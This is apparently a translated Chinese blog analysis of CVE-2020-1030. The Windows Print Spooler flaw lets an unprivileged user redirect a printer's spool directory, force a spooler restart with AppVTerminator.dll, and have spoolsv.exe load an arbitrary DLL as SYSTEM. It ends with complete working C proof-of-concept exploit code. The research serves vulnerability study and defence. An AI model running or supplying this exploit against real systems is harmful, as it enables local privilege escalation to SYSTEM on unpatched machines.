![9fbf1cd61fe95900ba82066f98358757.png](https://img-blog.csdnimg.cn/img_convert/9fbf1cd61fe95900ba82066f98358757.png)
获得打印机句柄
当用户将打印机添加到Windows系统时,该漏洞就会出现。默认情况下,用户不需要具备管理员权限就可以添加打印机,但这仅适用于打印机使用预安装或收件箱驱动程序。以下代码通过Microsoft Print To PDF驱动程序添加打印机。![6375ddfcb7296563b6dd17b935d1e182.png](https://img-blog.csdnimg.cn/img_convert/6375ddfcb7296563b6dd17b935d1e182.png)
AddPort函数的调用方必须具有访问其创建的打印服务器的SERVER_ACCESS_ADMINISTER权限。该函数返回的句柄将具有PRINTER_ALL_ACCESS权限,并可用于在打印机上执行管理操作。
非特权用户拥有SERVER_ACCESS_ADMINISTER权限似乎不合逻辑,但这是根据打印服务器安全性属性进行的预期配置(图2)。INTERACTIVE安全标识符启用了“管理服务器”权限,该权限对应于SERVER_ACCESS_ADMINISTER。拥有这些权限子集的人称为委派的打印管理员。
![c138fe9686a052ac5661a39d9b11d4f2.png](https://img-blog.csdnimg.cn/img_convert/c138fe9686a052ac5661a39d9b11d4f2.png)
图2. INTERACTIVE安全标识符的打印服务器权限
由于AddPrinter而导致的打印机句柄引入了假脱机API,这些假脱机程序API无法从非特权上下文访问。但是,管理访问仅限于打印机对象,从而限制了我们可以使用的功能。接下来的部分将演示如何利用句柄破坏应用程序的逻辑。指向并打印:包含错误的路径可能会引发问题
指向并打印是专为驱动程序分发而设计的打印机共享技术之一。在“指向并打印”中,会自动从打印服务器中下载驱动程序(v4之前的版本)和配置文件。使用定制的指向并打印DLL可以扩展安装。该库是通过在打印机的配置中定义CopyFiles注册表项来实现的。 打印机配置作为单独的子项存储在 HKLM\Software\Microsoft\Windows NT\CurrentVersion\Print\Printers 下。 假脱机打印程序 提供用于管理配置数据的API,如EnumPrinterData、GetPrinterData、SetPrinterData和DeletePrinterData。这些功能在下面执行相对于打印机密钥的注册表操作。 我们可以使用SetPrinterData,及其扩展版本SetPrinterDataEx修改打印机的配置。这些功能需要带有PRINTER_ACCESS_ADMINISTER的打印机句柄。 用户可以通过使用OpenPrinter或AddPrinter之类的函数检索句柄。![7122f1f89d226af6b22f247e7e600763.png](https://img-blog.csdnimg.cn/img_convert/7122f1f89d226af6b22f247e7e600763.png)
![35d4e2e92df8dd51216159908dcb93b5.png](https://img-blog.csdnimg.cn/img_convert/35d4e2e92df8dd51216159908dcb93b5.png)
spoolsv!SetPrinterDataEx路由到本地打印提供程序中的SplSetPrinterDataEx,dll
localspl!SplSetPrinterDataEx在还原SYSTEM上下文和通过localspl!SplRegSetValue修改注册表之前会先验证权限
如果pszKeyName参数以CopyFiles\ 字符串开头,则localspl!SplCopyFileEvent将被调用
localspl!SplCopyFileEvent 从打印机的CopyFiles注册表项中读取Module值,并将字符串传递给localspl!SplLoadLibraryTheCopyFileModule
localspl!SplLoadLibraryTheCopyFileModule将exe进程的当前目录设置为System32
localspl!SplLoadLibraryTheCopyFileModule使用localspl!MakeCanonicalPath和localspl!IsModuleFilePathAllowed执行验证,然后尝试使用LoadLibrary加载模块
如果验证或LoadLibrary失败,则从localspl!GetIniDriverAndDirForThisMachineEx检索替代路径,并使用LOAD_WITH_ALTERED_SEARCH_PATH调用LoadLibraryEx
图5. 本地打印提供程序(localspl.dll)中SetPrinterDataEx的控制流
图6. SplLoadLibraryTheCopyFileModule的控制流程图
假脱机打印程序最初尝试从系统目录中加载指向并打印DLL。如果失败,它将使用假脱机程序、驱动程序、环境和驱动程序版本目录中的新路径进行其他尝试。我们可以通过故意使用无效模块调用SetPrinterDataEx来观察此行为。
![9d339d37ecae5ec03906ef9dc0a198f1.png](https://img-blog.csdnimg.cn/img_convert/9d339d37ecae5ec03906ef9dc0a198f1.png)
图7. 指向并打印DLL的搜索路径
加载指向并打印DLL时,假脱机打印程序将搜索以下路径:
%SYSTEMROOT%\System32
%SYSTEMROOT%\System32\spool\drivers\\
注意图6中的PATH NOT FOUND结果,该路径引用版本4中的驱动程序目录。基于我们的测试,Windows系统上没有版本4驱动程序目录。缺少它可能与Windows 8和Windows Server 2012中引入v4驱动程序模型相对应。
如果我们可以创建具有读写权限的目录,则缺少的路径表示存在潜在的代码执行机会。然后可以将任意DLL放置到文件路径中,并通过SetPrinterDataEx调用。不幸的是,环境目录(x64)从其父目录继承了其DACL,从而阻止了非特权用户简单地创建的错误路径。
![332c4c2b1a81c40ab0010f581cbe9997.png](https://img-blog.csdnimg.cn/img_convert/332c4c2b1a81c40ab0010f581cbe9997.png)
图8. x64驱动程序目录的内容
![1e86bf06fc8d5233f1f20b5eb93c23b7.png](https://img-blog.csdnimg.cn/img_convert/1e86bf06fc8d5233f1f20b5eb93c23b7.png)
图9. x64驱动程序目录的DACL
假脱机目录:仔细查看详细信息
当用户打印文档时,将打印作业存储在硬盘里的假脱机目录中。该目录默认位于C:\Windows\System32\spool\PRINTERS。为了保持关联性,需要注意两个重要方面:
假脱机目录必须允许所有用户使用WriteData权限
假脱机目录可在每台打印机上配置
![02269ee5113cddc4383d73635d0c9472.png](https://img-blog.csdnimg.cn/img_convert/02269ee5113cddc4383d73635d0c9472.png)
图10. 默认假脱机目录的注册表值和DAC
通过在打印机的注册表项中定义SpoolDirectory值,可以支持各个假脱机打印目录。如果未指定,则打印机将映射到DefaultSpoolDirectory。当localspl!SplCreateSpooler调用localspl!BuildPrinterInfo时,将创建(或映射)假脱机目录。仅在假脱机程序服务初始化时才能观察到这种情况。因此,在重新启动服务之前,不会反映对打印机的假脱机目录的更改。接下来将回顾假脱机程序的初始化。
![5eac02f47cf3d2c48a193ce0cb914e88.png](https://img-blog.csdnimg.cn/img_convert/5eac02f47cf3d2c48a193ce0cb914e88.png)
图11. 打印机假脱机目录的注册表值
创建打印机对象(图1)后,我们将利用返回的句柄调用SetPrinterDataEx并配置打印机的假脱机目录。注意,SetPrinterDataEx需要管理员权限,该权限由句柄的PRINTER_ALL_ACCESS访问权限提供。
![c20d618713f03a07ef1fd3d5316cc4fb.png](https://img-blog.csdnimg.cn/img_convert/c20d618713f03a07ef1fd3d5316cc4fb.png)
图12. 将假脱机目录分配给打印机配置
打印假脱机程序服务和初始化:终止时间
打印假脱机程序服务必须重新初始化,以使假脱机打印目录生效。标准用户被强制重新启动系统服务,因此仅限于两个选项:
等待系统或服务重启
使用非常规方法强制重启服务
目前为止,我们的工作集中在加载任意指向并打印库上。但是,仅当我们要加载任意DLL时才需要这样做。我们的代码执行原语完全适用于System32目录中的现有文件(并且没有其他规定)。
输入AppVTerminator.dll,该库是Windows中包含的签名的Microsoft二进制文件(已在Windows 10上确认)。当加载到假脱机程序中时,库将调用TerminateProcess以杀死spoolsv.exe进程。该事件将触发服务控制管理器中的恢复机制,依次启动新的假脱机程序进程。
![57cefca12ea119f48d829192241e64e4.png](https://img-blog.csdnimg.cn/img_convert/57cefca12ea119f48d829192241e64e4.png)
图13. AppVTerminator.dll的控制流程图
![ef9a4c5768ab8e80a93def81579428ec.png](https://img-blog.csdnimg.cn/img_convert/ef9a4c5768ab8e80a93def81579428ec.png)
图14. 打印假脱机服务的默认恢复配置
我们可以利用SetPrinterDataEx将AppVTerminator.dll设置为指向并打印DLL。指定Module值名称将调用“指向并打印”行为。由于加载了库,spoolsv.exe服务将立即重新启动。
重新启动服务后,假脱机程序初始化可能会延迟几秒钟到几分钟。这可能会给时间敏感的操作造成一些不便。在评估了几种API之后,发现使用EnumPrinters调用localspl!BuildPrinterInfo最可靠。执行EnumPrinters会引发以下调用链:
spoolsv!PrvEnumPrinters获取并设置RouterPreInitEvent事件(spoolsv!WaitForSpoolerInitialization)
在spoolsv!SpoolerInitializeSpooler中创建RouterPreInitEvent,并在spoolsv!PreInitializeRouter中等待
设置事件后,将调用spoolsv!InitializeRouter
此例程将初始化打印提供程序,并首先以dll开始。它调用LoadLibrary加载DLL,然后获取并调用InitializePrintProvidor函数。
localspl!InitializePrintProvidor最终调用 localspl!SplCreateSpooler,后者依次调用localspl!BuildPrinterInfo
localspl!BuildPrinterInfo有效地建立本地打印机信息线轴
我们的概念证明(PoC)实现了一些逻辑来监视服务和假脱机目录。这些线程启动后,我们将向EnumPrinters发出多个调用以加速初始化。
在服务初始化代码执行时获取句柄,将使用SECURITY_DESCRIPTOR授予所有用户具有WriteData权限的假脱机目录(spool\drivers\x64\4)。这允许我们将有效载荷移动到目录中。
有效载荷(模仿指向并打印DLL)必须导出SpoolerCopyFileEvent函数。一旦模块加载到进程中,将调用此函数。
![91fc0f172c5aaf712464312bad7b4c09.png](https://img-blog.csdnimg.cn/img_convert/91fc0f172c5aaf712464312bad7b4c09.png)
图15. Point and Print DLL中的导出功能
为了获得代码执行,我们使用OpenPrinter来请求现有打印机对象的句柄(图1)。再次调用SetPrinterDataEx以触发有效载荷进行指向并打印。图16显示了发送到LoadLibraryEx的文件路径参数,该参数负责将模块加载到spoolsv.exe进程中。
![5289d88cdbf3eac6bab59d375d9bc304.png](https://img-blog.csdnimg.cn/img_convert/5289d88cdbf3eac6bab59d375d9bc304.png)
图16. 使用有效载荷文件路径调用LoadLibraryExW
概念验证代码(PoC)
#include #include #include int ThreadSpoolerSvc(LPVOID pProcessName){ HANDLE hSnapshot; PROCESSENTRY32 entry; entry.dwSize = sizeof(PROCESSENTRY32); while (TRUE) { hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (!Process32First(hSnapshot, &entry)) { CloseHandle(hSnapshot); return -1; } do { if (!_wcsicmp(entry.szExeFile, (LPWSTR)pProcessName)) { CloseHandle(hSnapshot); return 0; } } while (Process32Next(hSnapshot, &entry)); CloseHandle(hSnapshot); Sleep(1000); } return -1;}intThreadSpoolerDir(LPVOID pDirectory){ HANDLE hChange; DWORD dwWaitStatus; DWORD dwAttributes; DWORD dwIndex; WCHAR szParentDir[MAX_PATH]; dwIndex = (DWORD)(wcsrchr((LPWSTR)pDirectory, L'\\') - (LPWSTR)pDirectory); wcsncpy_s(szParentDir, MAX_PATH, (LPWSTR)pDirectory, dwIndex); hChange = FindFirstChangeNotification(szParentDir, FALSE, FILE_NOTIFY_CHANGE_DIR_NAME); if (hChange == INVALID_HANDLE_VALUE || hChange == NULL) { return -1; } while (hChange) { dwWaitStatus = WaitForSingleObject(hChange, INFINITE); if (dwWaitStatus == WAIT_OBJECT_0) { dwAttributes = GetFileAttributes((LPWSTR)pDirectory); if (dwAttributes != INVALID_FILE_ATTRIBUTES && (dwAttributes & FILE_ATTRIBUTE_DIRECTORY)) { break; } } if (!FindNextChangeNotification(hChange)) { break; } } if (hChange) { FindCloseChangeNotification(hChange); } return 0;}intThreadSpoolerInit(void){ DWORD cReturned; DWORD cbNeeded; DWORD dwError; for (int i = 1; i <= 30; i++) { Sleep(1000); if (!EnumPrinters(PRINTER_ENUM_LOCAL, NULL, 2, NULL, 0, &cbNeeded, &cReturned)) { dwError = GetLastError(); if (dwError == RPC_S_SERVER_UNAVAILABLE) { continue; } } break; } return 0;}int main ( int argc, char *argv[] ){ PRINTER_DEFAULTS printerDefaults; PRINTER_INFO_2 printerInfo; HANDLE hPrinter; HANDLE hThreadSpoolerSvc; HANDLE hThreadSpoolerDir; HANDLE hThreadSpoolerInit; DWORD dwStatus = -1; DWORD cbData; DWORD dwAttributes; WCHAR szDll[MAX_PATH]; WCHAR szSource[MAX_PATH]; WCHAR szDestination[MAX_PATH]; LPWSTR pszFileName; LPWSTR pszPrinterName = L"CVE-2020-1030"; LPWSTR pszDriverPath = L"C:\\Windows\\System32\\spool\\drivers\\x64\\4"; LPWSTR pszTerminator = L"C:\\Windows\\System32\\AppVTerminator.dll"; memset(&printerInfo, 0, sizeof(printerInfo)); printerInfo.pPrinterName = pszPrinterName; printerInfo.pDriverName = L"Microsoft Print To PDF"; printerInfo.pPortName = L"PORTPROMPT:"; printerInfo.pPrintProcessor = L"winprint"; printerInfo.pDatatype = L"RAW"; printerInfo.Attributes = PRINTER_ATTRIBUTE_HIDDEN; hPrinter = AddPrinter(NULL, 2, (LPBYTE)&printerInfo); if (hPrinter == NULL) { printf("Failed: AddPrinter(), %ls. Error: %d\n", pszPrinterName, GetLastError()); ClosePrinter(hPrinter); return -1; } // Set SpoolDirectory to v4 driver directory cbData = ((DWORD)wcslen(pszDriverPath) + 1) * sizeof(WCHAR); dwStatus = SetPrinterDataEx(hPrinter, L"\\", L"SpoolDirectory", REG_SZ, (LPBYTE)pszDriverPath, cbData); if (dwStatus != ERROR_SUCCESS) { printf("Failed: SetPrinterDataEx(), SpoolDirectory. Error: %d\n", GetLastError()); ClosePrinter(hPrinter); return -1; } // Check if AppVTerminator.dll exists dwAttributes = GetFileAttributes(pszTerminator); if (dwAttributes == INVALID_FILE_ATTRIBUTES) { printf("Failed: GetFileAttributes(), %ls. Error: %d\n", pszTerminator, GetLastError()); ClosePrinter(hPrinter); return -1; } // Call LoadLibraryEx (localspl!SplLoadLibraryTheCopyFileModule) with AppVTerminator.dll // This will immediately terminate spoolsv.exe and SetPrinterDataEx will fail (RPC_S_CALL_FAILED) cbData = ((DWORD)wcslen(L"AppVTerminator.dll") + 1) * sizeof(WCHAR); dwStatus = SetPrinterDataEx(hPrinter, L"CopyFiles\\Payload", L"Module", REG_SZ, (LPBYTE)L"AppVTerminator.dll", cbData); if (dwStatus != RPC_S_CALL_FAILED) { printf("Failed: SetPrinterDataEx(), %ls. Error: %d\n", L"AppVTerminator.dll", GetLastError()); ClosePrinter(hPrinter); return -1; } // Monitor spoolsv.exe process creation, timeout = 30 seconds if ((hThreadSpoolerSvc = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadSpoolerSvc, L"spoolsv.exe", 0, NULL)) == NULL) { printf("Failed: CreateThread(), ThreadSpoolerSvc. Error: %d\n", GetLastError()); ClosePrinter(hPrinter); return -1; } dwStatus = WaitForSingleObject(hThreadSpoolerSvc, 30000); if (dwStatus != WAIT_OBJECT_0) { printf("Failed: WaitForSingleObject(), hThreadSpoolerSvc. Error: %d\n", GetLastError()); ClosePrinter(hPrinter); return -1; } // Skip spooler initialization if spool directory exists dwAttributes = GetFileAttributes(pszDriverPath); if (dwAttributes != INVALID_FILE_ATTRIBUTES && (dwAttributes & FILE_ATTRIBUTE_DIRECTORY)) { goto Move; } // Monitor spool directory creation hThreadSpoolerDir = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadSpoolerDir, pszDriverPath, 0, NULL); if (hThreadSpoolerDir == NULL) { printf("Failed: CreateThread(), ThreadSpoolerDir. Error: %d\n", GetLastError()); ClosePrinter(hPrinter); return -1; } // Force spooler initialization by calling localspl!BuildPrinterInfo via EnumPrinters hThreadSpoolerInit = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadSpoolerInit, NULL, 0, NULL); if (hThreadSpoolerInit == NULL) { printf("Failed: CreateThread(), ThreadSpoolerInit. Error: %d\n", GetLastError()); ClosePrinter(hPrinter); return -1; } // Wait for spooler directory; timeout = 5 minutes dwStatus = WaitForSingleObject(hThreadSpoolerDir, 5 * 60 * 1000); if (dwStatus != WAIT_OBJECT_0) { printf("Warning: WaitForSingleObject(), hThreadSpoolerDir. Error: Timer expired\n"); ClosePrinter(hPrinter); return -1; }Move: // Move payload to spool directory mbstowcs_s(NULL, szDll, strlen(argv[1]) + 1, argv[1], MAX_PATH); GetFullPathName(szDll, MAX_PATH, szSource, &pszFileName); wcscpy_s(szDestination, MAX_PATH, pszDriverPath); wcscat_s(szDestination, MAX_PATH, L"\\"); wcscat_s(szDestination, MAX_PATH, pszFileName); if (!MoveFile(szSource, szDestination)) { printf("Failed: MoveFile(), Src: %ls, Dst: %ls. Error: %d\n", szSource, szDestination, GetLastError()); ClosePrinter(hPrinter); return -1; } // Get printer handle memset(&printerDefaults, 0, sizeof(printerDefaults)); printerDefaults.DesiredAccess = PRINTER_ALL_ACCESS; if (!OpenPrinter(pszPrinterName, &hPrinter, &printerDefaults)) { printf("Failed: OpenPrinter(), %ls. Error: %d\n", pszPrinterName, GetLastError()); ClosePrinter(hPrinter); return -1; } // Call LoadLibraryEx (localspl!SplLoadLibraryTheCopyFileModule) with our payload cbData = ((DWORD)wcslen(szDestination) + 1) * sizeof(WCHAR); dwStatus = SetPrinterDataEx(hPrinter, L"CopyFiles\\Payload", L"Module", REG_SZ, (LPBYTE)szDestination, cbData); if (dwStatus != ERROR_SUCCESS) { printf("Failed: SetPrinterDataEx(), %ls. Error: %d\n", szDestination, GetLastError()); ClosePrinter(hPrinter); return -1; } ClosePrinter(hPrinter); return 0;}
![0fbe54ce8d8caa79fbc1ec6fe6520fea.png](https://img-blog.csdnimg.cn/img_convert/0fbe54ce8d8caa79fbc1ec6fe6520fea.png)
END